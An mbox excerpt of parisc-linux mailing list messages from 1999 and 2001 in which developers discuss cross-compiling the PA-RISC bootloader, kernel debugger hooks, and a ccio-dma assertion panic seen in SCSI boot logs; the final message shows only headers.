Newsgroups: gmane.linux.ports.parisc
Subject: Re: Building the Bootloader
Date: Tue, 1 Jun 1999 14:05:08 -0400 (EDT)
Lines: 71
Approved: news@gmane.org
Message-ID: <199906011805.OAA25752@hiauly1.hia.nrc.ca>
References: <19990601191800.C25364@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619584 11212 80.91.229.3 (22 Nov 2014 01:26:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:24 +0000 (UTC)
Cc: cjbeard@istar.ca, parisc-linux@thepuffingroup.com
To: prumpf@suse.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jun  1 12:05:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA10016
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 12:05:29 -0600
Original-Received: (qmail 16139 invoked by uid 15267); 1 Jun 1999 18:04:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16127 invoked from network); 1 Jun 1999 18:04:45 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 18:04:45 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA25752;
	Tue, 1 Jun 1999 14:05:09 -0400 (EDT)
In-Reply-To: <19990601191800.C25364@suse.de> from "Philipp Rumpf" at Jun 1, 99 07:18:00 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9365

> > If the IPL could be extracted from an ELF binary, then it could be produced
> > on any system which supports cross compiling to HP/UX ELF format.
> 
> The problem (unless for the confused ones Christopher just showed the light)
> is the GNU binutils seem to be buggy at the moment.

The question is in what way.  I have been using gas for a long time
with gcc with no major problems.  Possibly, there are problems with ld.
The source at puffin is quite a bit out of date.  Maybe the hppa-linux
support should be integrated into 2.9.4.

> We need to get to the point where we can safely cross-compile for parisc machines
> on i386. My experience with binutils / bfd is rather limited, so I wait for some-
> one else to do it...

I think that I may have been able to successfully cross compile ipl to an
elf binary with text starting at offset 0.  Note that this requires that
libgcc.a has been built successfully for hppa-linux.  This requires a
few patches to gcc.  I think that I have comparable linker flags but I
am not quite sure.   I can make the binary available if someone wants to
try it.  Here are the diffs:

*** Makefile.hp	Thu Mar 11 16:52:20 1999
--- Makefile.gnu	Tue Jun  1 13:55:34 1999
***************
*** 13,22 ****
  #
  
  
! CC	= /usr/local/bin/gcc		# gcc
! LD	= /bin/ld                       # HP's linker
! LDFLAGS = -R 0 -N			#
! AS	= /usr/local/bin/as             # gas
  CFLAGS	= -fwritable-strings -mdisable-fpregs
  
  all:    ipl
--- 13,24 ----
  #
  
  
! CC	= hppa-linux-gcc		# gcc
! LD	= hppa-linux-ld                 #
! # LDFLAGS = -Wl,-Ttext -Wl,0 -Wl,-N -nostartfiles -nostdlib -v
! LDFLAGS = -Ttext 0 -N
! LDLIBS  = -L/ehic/a/lib/gcc-lib/hppa-linux/egcs-2.91.60 -lgcc
! AS	= hppa-linux-as                 # gas
  CFLAGS	= -fwritable-strings -mdisable-fpregs
  
  all:    ipl
***************
*** 41,47 ****
  
  #
  ipl: ipl_s.o ipl_c.o rom_interface.o
! 	$(LD) $(LDFLAGS) ipl_s.o ipl_c.o rom_interface.o -o ipl
  
  
  #
--- 43,49 ----
  
  #
  ipl: ipl_s.o ipl_c.o rom_interface.o
! 	$(LD) $(LDFLAGS) ipl_s.o ipl_c.o rom_interface.o $(LDLIBS) -o ipl
  
  
  #

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot from tape
Date: Wed, 24 Jan 2001 17:01:10 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20010124170110.B4836@parcelfarce.linux.theplanet.co.uk>
References: <3A6EE1A6.D21F249F@nspuh.cz> <3A6F02F2.3C4A137C@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619585 11221 80.91.229.3 (22 Nov 2014 01:26:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:25 +0000 (UTC)
Cc: Marek GROSSMAN <grossman@nspuh.cz>, parisc-linux@thepuffingroup.com,
        christoph.plattner@dot.at
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: willy@www.linux.org.uk  Wed Jan 24 09:57:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA14187
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 09:57:38 -0700
Original-Received: (qmail 7035 invoked by uid 15267); 24 Jan 2001 17:01:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7012 invoked from network); 24 Jan 2001 17:01:30 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 17:01:30 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14LTIE-0004br-00; Wed, 24 Jan 2001 17:01:10 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A6F02F2.3C4A137C@alcatel.at>; from christoph.plattner@alcatel.at on Wed, Jan 24, 2001 at 05:29:38PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9366

On Wed, Jan 24, 2001 at 05:29:38PM +0100, Christoph Plattner wrote:
> How can you run Linux ?
> I thought, HP E55 (9000/856) is not full supported, as
> the SCSI driver and the serial multiplexer (8-port serial,
> where my console is configured to port 0) is not supported
> (no driver !).
> Or is there any, and I don't know it ??

If someone wants to put some effort into it... (hint: i don't)

the PDC spec (available from www.parisc-linux.org/documentation.html)
includes calls to perform block io.  there's no practical reason
someone couldn't write drivers/block/pdc.c which performed IO through
this mechanism.  performance would suck, but at least it would work.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and newest CVS bits
Date: Wed, 24 Jan 2001 09:08:24 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <200101241708.JAA20961@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101240937380.25434-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619585 11228 80.91.229.3 (22 Nov 2014 01:26:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: grundler@cup.hp.com  Wed Jan 24 10:02:31 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA14549
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 10:02:30 -0700
Original-Received: (qmail 16670 invoked by uid 15267); 24 Jan 2001 17:06:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16650 invoked from network); 24 Jan 2001 17:06:22 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 17:06:22 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 2EB1D7AF; Wed, 24 Jan 2001 09:06:21 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA20961;
	Wed, 24 Jan 2001 09:08:25 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 24 Jan 2001 09:43:32 PST."
             <Pine.LNX.4.21.0101240937380.25434-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9367

Greg Ingram wrote:
> ccio-dma.c:738: Assertion size > 0 failed!
> Kernel panic: size > 0                                                       

Bogus ASSERT. Ryan committed the fixes last night. Please try again.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] One more step: Interruption (trap) 18 on 9000/720
Date: Wed, 24 Jan 2001 17:06:01 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20010124170601.C4836@parcelfarce.linux.theplanet.co.uk>
References: <3A6EA64B.5875D07A@alcatel.at> <200101241650.IAA20897@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619585 11232 80.91.229.3 (22 Nov 2014 01:26:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:25 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@alcatel.at>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Wed Jan 24 10:26:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA15127
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 10:26:39 -0700
Original-Received: (qmail 27286 invoked by uid 15267); 24 Jan 2001 17:30:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27245 invoked from network); 24 Jan 2001 17:30:29 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 17:30:29 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14LTMv-0004hE-00; Wed, 24 Jan 2001 17:06:01 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101241650.IAA20897@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Jan 24, 2001 at 08:50:12AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9368

On Wed, Jan 24, 2001 at 08:50:12AM -0800, Grant Grundler wrote:
> There is no kernel debugger (yet). I started working on one last year
> based on "KWDB" from HPUX. I've added the kernel hooks (CONFIG_KWDB).
> But I (a) didn't get it working and (b) didn't get permission to publish
> the KWDB base. My advice is for someone to take the SGI KDB and make it
> work for parisc-linux and changing CONFIG_KWDB to CONFIG_KDB.

FYI, after my PA-RISC talk at linux.conf.au, Keith Owens expressed
interest in porting KDB to Linux/PARISC.  He's on holiday just now but
he'll investigate further after he gets back.

Grant, do you think it'd be worth removing the KWDB bits?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and newest CVS bits
Date: Wed, 24 Jan 2001 12:06:23 -0600 (CST)
Lines: 50
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101241157050.25744-100000@maestro.symsys.com>
References: <200101241708.JAA20961@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619586 11235 80.91.229.3 (22 Nov 2014 01:26:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: ingram@symsys.com  Wed Jan 24 11:05:33 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA15737
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 11:05:33 -0700
Original-Received: (qmail 31903 invoked by uid 15267); 24 Jan 2001 18:09:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31888 invoked from network); 24 Jan 2001 18:09:26 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 18:09:26 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id MAA25792;
	Wed, 24 Jan 2001 12:06:23 -0600
In-Reply-To: <200101241708.JAA20961@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9369


On Wed, 24 Jan 2001, Grant Grundler wrote:

> Greg Ingram wrote:
> > ccio-dma.c:738: Assertion size > 0 failed!
> > Kernel panic: size > 0                                                       
> 
> Bogus ASSERT. Ryan committed the fixes last night. Please try again.

I pulled ccio-dma.c again and it still has the ASSERT at line 738.  If I
remove it, the kernel dies at line 385:
	
	ASSERT(pages_needed);

If I remove it, death occurs are line 460:

	ASERT(pages_mapped);

I've appended messages again.  Is the message from sim700 important?  Or
is it just telling me that I don't have that hardware?  The very last line
is different too.

- Greg

SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 86, options 0
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: SEAGATE   Model: ST11200N SUN1.05  Rev: 8358
  Type:   Direct-Access                      ANSI SCSI revision: 02
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
ncr53c720-0: restart (scsi reset).
scsi1 : ncr53c8xx - version 3.3b
  Vendor: SEAGATE   Model: ST32430W          Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 02
ncr53c720-0-<6,0>: tagged command queue depth set to 8
Detected scsi disk sda at scsi0, channel 0, id 0, lun 0
Detected scsi disk sdb at scsi1, channel 0, id 6, lun 0
 
ccio-dma.c:460: Assertion pages_mapped failed!
Kernel panic: pages_mapped
In interrupt handler - not syncing
   


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] KWDB vs KDB
Date: Wed, 24 Jan 2001 10:29:00 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <200101241829.KAA21064@milano.cup.hp.com>
References: <20010124170601.C4836@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619586 11243 80.91.229.3 (22 Nov 2014 01:26:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Wed Jan 24 11:23:10 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA16161
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 11:23:10 -0700
Original-Received: (qmail 31000 invoked by uid 15267); 24 Jan 2001 18:27:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30937 invoked from network); 24 Jan 2001 18:27:03 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 18:27:03 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 14E9C118; Wed, 24 Jan 2001 10:27:02 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA21064;
	Wed, 24 Jan 2001 10:29:06 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 24 Jan 2001 17:06:01 PST."
             <20010124170601.C4836@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9370

Matthew Wilcox wrote:
> On Wed, Jan 24, 2001 at 08:50:12AM -0800, Grant Grundler wrote:
> FYI, after my PA-RISC talk at linux.conf.au, Keith Owens expressed
> interest in porting KDB to Linux/PARISC.  He's on holiday just now but
> he'll investigate further after he gets back.
> 
> Grant, do you think it'd be worth removing the KWDB bits?

Should KDB not need something with CONFIG_KWDB around it, Keith
is certainly welcome to remove the CONFIG_KWDB usage/code.
I'm pretty sure the same hooks will be needed for KDB.
Just rename CONFIG_KWDB to CONFIG_KDB.

later,
grant


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and newest CVS bits
Date: Wed, 24 Jan 2001 10:33:47 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <200101241833.KAA21104@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101241157050.25744-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619586 11249 80.91.229.3 (22 Nov 2014 01:26:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: grundler@cup.hp.com  Wed Jan 24 11:27:52 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA16337
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 11:27:51 -0700
Original-Received: (qmail 7285 invoked by uid 15267); 24 Jan 2001 18:31:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7260 invoked from network); 24 Jan 2001 18:31:44 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 18:31:44 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 32E3A5F1; Wed, 24 Jan 2001 10:31:43 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA21104;
	Wed, 24 Jan 2001 10:33:48 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 24 Jan 2001 12:06:23 PST."
             <Pine.LNX.4.21.0101241157050.25744-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9371

Greg Ingram wrote:
> I pulled ccio-dma.c again and it still has the ASSERT at line 738.

My bad. My brain thought that was a different ASSERT.

sorry,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and newest CVS bits
Date: Wed, 24 Jan 2001 12:42:20 -0600 (CST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101241233070.25744-100000@maestro.symsys.com>
References: <200101241833.KAA21104@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619587 11255 80.91.229.3 (22 Nov 2014 01:26:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: ingram@symsys.com  Wed Jan 24 11:41:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA16946
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 11:41:37 -0700
Original-Received: (qmail 32616 invoked by uid 15267); 24 Jan 2001 18:45:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32477 invoked from network); 24 Jan 2001 18:45:25 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 18:45:25 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id MAA25887;
	Wed, 24 Jan 2001 12:42:20 -0600
In-Reply-To: <200101241833.KAA21104@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9372

On Wed, 24 Jan 2001, Grant Grundler wrote:

> Greg Ingram wrote:
> > I pulled ccio-dma.c again and it still has the ASSERT at line 738.
> 
> My bad. My brain thought that was a different ASSERT.

Ok.  Is this a SCSI problem or a ccio-dma problem?  Like I mentioned
earlier, both disks worked with the kernel sources I downloaded last
week.  I've got all of SCSI disabled and the current kernel is running
fine.  

- Greg


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and newest CVS bits
Date: Wed, 24 Jan 2001 19:14:57 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <20010124191457.H3571@linuxcare.com>
References: <200101241708.JAA20961@milano.cup.hp.com> <Pine.LNX.4.21.0101241157050.25744-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619587 11259 80.91.229.3 (22 Nov 2014 01:26:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:27 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: rhirst@linuxcare.com  Wed Jan 24 12:23:04 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA17640
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 12:23:02 -0700
Original-Received: (qmail 11342 invoked by uid 15267); 24 Jan 2001 19:26:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11324 invoked from network); 24 Jan 2001 19:26:55 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 19:26:55 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B9B40B008; Wed, 24 Jan 2001 19:14:57 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0101241157050.25744-100000@maestro.symsys.com>; from ingram@symsys.com on Wed, Jan 24, 2001 at 12:06:23PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9373

On Wed, Jan 24, 2001 at 12:06:23PM -0600, Greg Ingram wrote:
> I've appended messages again.  Is the message from sim700 important?  Or
> is it just telling me that I don't have that hardware?  The very last line
> is different too.
> 
> - Greg
> 
> SCSI subsystem driver Revision: 1.00
> sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 86, options 0
> scsi0: Revision 0x2
> Post test1, istat 01, sstat0 00, dstat 84
> sim700: WARNING IRQ probe failed, (returned 0)
> scsi0: Good, target data areas are dma coherent
> scsi0: test 1 completed ok.
> scsi0 : LASI/Simple 53c7xx
>   Vendor: SEAGATE   Model: ST11200N SUN1.05  Rev: 8358
>   Type:   Direct-Access                      ANSI SCSI revision: 02

That lot was from sim700, and is ok.

We are now entering the zalon (ncr53c8xx.c/zalon.c) driver.

> zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
> ncr53c8xx: 53c720 detected
> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> ncr53c720-0: restart (scsi reset).
> scsi1 : ncr53c8xx - version 3.3b
>   Vendor: SEAGATE   Model: ST32430W          Rev: HP05
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> ncr53c720-0-<6,0>: tagged command queue depth set to 8

Now we are probing the sim700 scsi bus

> Detected scsi disk sda at scsi0, channel 0, id 0, lun 0

Now we are probing the FWD (zalon) scsi bus 

> Detected scsi disk sdb at scsi1, channel 0, id 6, lun 0

Now the system will try to access these disks looking for partition
tables.

> ccio-dma.c:460: Assertion pages_mapped failed!

Your original message (assert size > 0) implies that one of the scsi
drivers has passed down a request to map a zero length buffer.  That
is quite possible - a Test Unit Ready will likely have a zero length
buffer as there is no data phase, and a driver might just try and map
it anyway.  I'll have a look at the drivers shortly.  I cant explain
why it used to work though, unless previous versions of ccio-dma.c
handled zero length requests differently.

Richard


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel Swapping yet?
Date: Wed, 24 Jan 2001 19:29:10 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20010124192910.I3571@linuxcare.com>
References: <20010122104912.B56158@athena.louisville.edu> <20010124105507.D3571@linuxcare.com> <20010124103552.A160226@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619587 11264 80.91.229.3 (22 Nov 2014 01:26:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Phillip D. Beal" <pdbeal@louisville.edu>
Original-X-From: rhirst@linuxcare.com  Wed Jan 24 12:36:46 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA18130
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 12:36:45 -0700
Original-Received: (qmail 4089 invoked by uid 15267); 24 Jan 2001 19:40:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4064 invoked from network); 24 Jan 2001 19:40:37 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 19:40:37 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 68421B009; Wed, 24 Jan 2001 19:29:10 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010124103552.A160226@athena.louisville.edu>; from pdbeal@louisville.edu on Wed, Jan 24, 2001 at 10:35:52AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9374

